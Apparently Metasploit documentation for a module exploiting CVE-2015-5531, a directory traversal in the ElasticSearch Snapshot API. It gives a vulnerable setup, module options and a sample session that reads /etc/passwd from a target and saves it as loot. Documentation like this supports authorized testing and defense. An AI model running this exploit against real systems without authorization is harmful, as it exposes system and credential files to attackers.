documentation/modules/auxiliary/scanner/http/elasticsearch_traversal.md
This module exploits a directory traversal vulnerability in ElasticSearch versions prior to 1.6.1. The flaw exists in the Snapshot API and allows an unauthenticated attacker to read arbitrary files from the target system with the privileges of the JVM process.
The vulnerability is tracked as CVE-2015-5531.
path.repo in elasticsearch.yml so that the Snapshot API is available:
path.repo: ["/tmp/backups"]
use auxiliary/scanner/http/elasticsearch_traversalset RHOSTS [target IP]runThe path to the file to read on the target. The default value is /etc/passwd.
The number of ../ traversal sequences to include. The default is 7. Increase this if the
file cannot be reached with the default depth.
msf > use auxiliary/scanner/http/elasticsearch_traversal
msf auxiliary(scanner/http/elasticsearch_traversal) > set RHOSTS 10.10.10.50
RHOSTS => 10.10.10.50
msf auxiliary(scanner/http/elasticsearch_traversal) > set RPORT 9200
RPORT => 9200
msf auxiliary(scanner/http/elasticsearch_traversal) > run
[*] The target appears to be vulnerable.
[+] File saved in: /root/.msf4/loot/20250319120000_default_10.10.10.50_elasticsearch.tr_123456.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed